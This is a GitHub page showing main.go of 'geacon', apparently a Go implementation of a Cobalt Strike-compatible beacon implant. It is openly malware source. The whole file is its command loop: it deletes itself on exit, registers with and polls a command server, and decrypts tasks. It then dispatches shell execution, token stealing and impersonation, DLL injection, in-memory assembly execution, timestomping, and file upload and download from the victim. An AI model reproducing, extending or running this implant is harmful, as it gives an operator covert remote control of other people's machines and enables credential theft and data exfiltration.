-
Notifications
You must be signed in to change notification settings - Fork 91
/
main.go
189 lines (184 loc) · 6.31 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
package main
import (
"bytes"
"encoding/binary"
"main/command"
"main/packet"
"main/sysinfo"
"main/util"
"math/rand"
"os"
"os/signal"
"syscall"
"time"
)
func main() {
// delete self
defer command.DeleteSelf()
signalChan := make(chan os.Signal, 1)
signal.Notify(signalChan, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-signalChan
util.Println("signal received")
command.DeleteSelf()
os.Exit(0)
}()
currentTime := time.Now()
rand.Seed(currentTime.UnixNano())
if command.TimeCheck(currentTime) {
return
}
ok := packet.FirstBlood()
if ok {
for {
currentTime = time.Now()
if command.TimeCheck(currentTime) {
return
}
resp, err := packet.PullCommand()
if err == nil {
totalLen := len(resp)
if totalLen > 0 {
// end with 16 byte
respByte := resp
// hmacHash, useless
_ = respByte[totalLen-util.HmacHashLen:]
// TODO check the hmachash
restBytes := respByte[:totalLen-util.HmacHashLen]
decrypted := packet.DecryptPacket(restBytes)
// first 4 bytes timestamp,useless
_ = decrypted[:4]
// 4 bytes data length
lenBytes := decrypted[4:8]
packetLen := binary.BigEndian.Uint32(lenBytes)
decryptedBuf := bytes.NewBuffer(decrypted[8:])
for {
if packetLen <= 0 {
break
}
cmdType, cmdBuf := packet.ParsePacket(decryptedBuf, &packetLen)
if cmdBuf != nil {
util.Printf("Cmd type %d\n", cmdType)
if len(cmdBuf) > 100 {
util.Printf("Cmd buffer: %s\n", cmdBuf[:100])
util.Printf("Cmd buffer bytes: %v\n", cmdBuf[:100])
} else {
util.Printf("Cmd buffer: %s\n", cmdBuf)
util.Printf("Cmd buffer bytes: %v\n", cmdBuf)
}
var execErr error
execErr = nil
// replyType can be found at beacon.BeaconC2 process_beacon_callback_decrypted
// it seems use CALLBACK_OUTPUT can solve chinese garbled, and utf8 can not
switch cmdType {
case command.CMD_TYPE_CHECKIN:
_, execErr = packet.PullCommand()
case command.CMD_TYPE_DATA_JITTER: // useless data, do nothing
continue
case command.CMD_TYPE_SHELL:
execErr = command.Run(cmdBuf)
case command.CMD_TYPE_EXECUTE:
execErr = command.Exec(cmdBuf)
case command.CMD_TYPE_RUNAS:
execErr = command.RunAs(cmdBuf)
case command.CMD_TYPE_GET_PRIVS:
execErr = command.GetPrivsByte(cmdBuf)
case command.CMD_TYPE_REV2SELF:
execErr = command.Rev2self()
case command.CMD_TYPE_STEAL_TOKEN:
execErr = command.StealToken(cmdBuf)
case command.CMD_TYPE_MAKE_TOKEN:
execErr = command.MakeToken(cmdBuf)
case command.CMD_TYPE_SPAWN_TOKEN_X64:
execErr = command.SpawnAndInjectDll(cmdBuf, true, false)
case command.CMD_TYPE_SPAWN_IGNORE_TOKEN_X64:
execErr = command.SpawnAndInjectDll(cmdBuf, true, true)
case command.CMD_TYPE_SPAWN_TOKEN_X86:
execErr = command.SpawnAndInjectDll(cmdBuf, false, false)
case command.CMD_TYPE_SPAWN_IGNORE_TOKEN_X86:
execErr = command.SpawnAndInjectDll(cmdBuf, false, true)
case command.CMD_TYPE_INJECT_X86:
execErr = command.InjectDll(cmdBuf, false)
case command.CMD_TYPE_INJECT_X64:
execErr = command.InjectDll(cmdBuf, true)
case command.CMD_TYPE_EXEC_ASM_TOKEN_X86:
execErr = command.ExecAsm(cmdBuf, false, false)
case command.CMD_TYPE_EXEC_ASM_IGNORE_TOKEN_X86:
execErr = command.ExecAsm(cmdBuf, false, true)
case command.CMD_TYPE_EXEC_ASM_TOKEN_X64:
execErr = command.ExecAsm(cmdBuf, true, false)
case command.CMD_TYPE_EXEC_ASM_IGNORE_TOKEN_X64:
execErr = command.ExecAsm(cmdBuf, true, true)
case command.CMD_TYPE_UNKNOWN_JOB:
// TODO seems same as 40, need to check.
fallthrough
case command.CMD_TYPE_JOB:
execErr = command.HandlerJobAsync(cmdBuf)
case command.CMD_TYPE_LIST_JOBS:
execErr = command.ListJobs()
case command.CMD_TYPE_JOBKILL:
execErr = command.KillJob(cmdBuf)
case command.CMD_TYPE_IMPORT_PS:
command.PowershellImport(cmdBuf)
case command.CMD_TYPE_WEB_DELIVERY:
command.WebDelivery(cmdBuf)
case command.CMD_TYPE_GET_UID:
packet.PushResult(packet.CALLBACK_OUTPUT, []byte(sysinfo.GetUsername()))
// even there is a CALLBACK_PROCESS_LIST, but still use PENDING
case command.CMD_TYPE_PS:
execErr = command.ListProcess(cmdBuf)
case command.CMD_TYPE_KILL:
execErr = command.KillProcess(cmdBuf)
case command.CMD_TYPE_DRIVES:
execErr = command.ListDrives(cmdBuf)
case command.CMD_TYPE_REMOVE:
execErr = command.Remove(string(cmdBuf))
case command.CMD_TYPE_FILE_COPY:
execErr = command.CopyFile(cmdBuf)
case command.CMD_TYPE_FILE_MOVE:
execErr = command.MoveFile(cmdBuf)
case command.CMD_TYPE_TIMESTOMP:
execErr = command.TimeStomp(cmdBuf)
// UPLOAD_START and UPLOAD_LOOP is same
case command.CMD_TYPE_UPLOAD_START:
execErr = command.Upload(cmdBuf, true)
case command.CMD_TYPE_UPLOAD_LOOP:
execErr = command.Upload(cmdBuf, false)
// download file from victim
case command.CMD_TYPE_DOWNLOAD:
execErr = command.Download(cmdBuf)
case command.CMD_TYPE_CANCEL:
execErr = command.Cancel(cmdBuf)
case command.CMD_TYPE_FILE_BROWSE:
execErr = command.FileBrowse(cmdBuf)
case command.CMD_TYPE_CD:
execErr = command.ChangeCurrentDir(cmdBuf)
case command.CMD_TYPE_MAKEDIR:
execErr = command.MakeDir(string(cmdBuf))
case command.CMD_TYPE_SLEEP:
command.ChangeSleep(cmdBuf)
case command.CMD_TYPE_PAUSE:
command.Pause(cmdBuf)
case command.CMD_TYPE_PWD:
execErr = command.GetCurrentDirectory()
case command.CMD_TYPE_LIST_NETWORK:
execErr = command.GetNetworkInformation(cmdBuf)
case command.CMD_TYPE_EXIT:
packet.PushResult(packet.CALLBACK_DEAD, []byte("exit"))
return
default:
errMsg := util.Sprintf("command type %d is not support by geacon now", cmdType)
packet.ErrorMessage(errMsg)
}
if execErr != nil {
packet.ErrorMessage(execErr.Error())
}
}
}
}
}
// after cmd finish
command.Sleep()
}
}
}